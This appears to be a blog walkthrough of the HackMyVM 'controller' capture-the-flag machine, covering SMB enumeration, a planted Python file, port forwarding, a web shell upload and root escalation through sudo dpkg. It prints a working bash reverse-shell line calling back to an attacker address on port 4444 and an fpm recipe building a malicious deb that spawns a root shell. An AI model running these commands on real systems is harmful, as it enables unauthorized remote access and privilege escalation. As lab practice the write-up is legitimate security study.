当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- IO流、字节流、字节缓冲流
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- Small program van-cell line wrapping can be left-aligned
- (2)Thinkphp6模板引擎**标签
- Function hoisting and variable hoisting
- IO streams, byte stream and byte stream buffer
- 14.JS语句和注释,变量和数据类型
- 宝塔邮局邮箱设置成功后能发送不能接收问题处理
- JS对象, 函数和作用域
- 14. JS Statements and Comments, Variables and Data Types
猜你喜欢
随机推荐
TCP communications program
攻防世界—MISC 新手区1-12
(3)Thinkphp6数据库
Dom实现input的焦点触发
[campo/random-user-agent]随机伪造你的User-Agent
js __proto__、prototype、constructor的关系
4.表单与输入
使用PHPMailer发送邮件
MySql高级 -- 约束
Add a full image watermark to an image in PHP
点名系统和数组元素为对象的排序求最大值和最小值
SQL:DDL、DML、DQL、DCL相应介绍以及演示
(5) 模块与包、编码格式、文件操作、目录操作
TCP通信程序
PHP8.2的版本发布管理员和发布计划
(3) Thinkphp6 database
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
2.PHP变量、输出、EOF、条件语句
二维码生成API接口,可以直接作为A标签连接
第一次手撕代码,如何解出全排列问题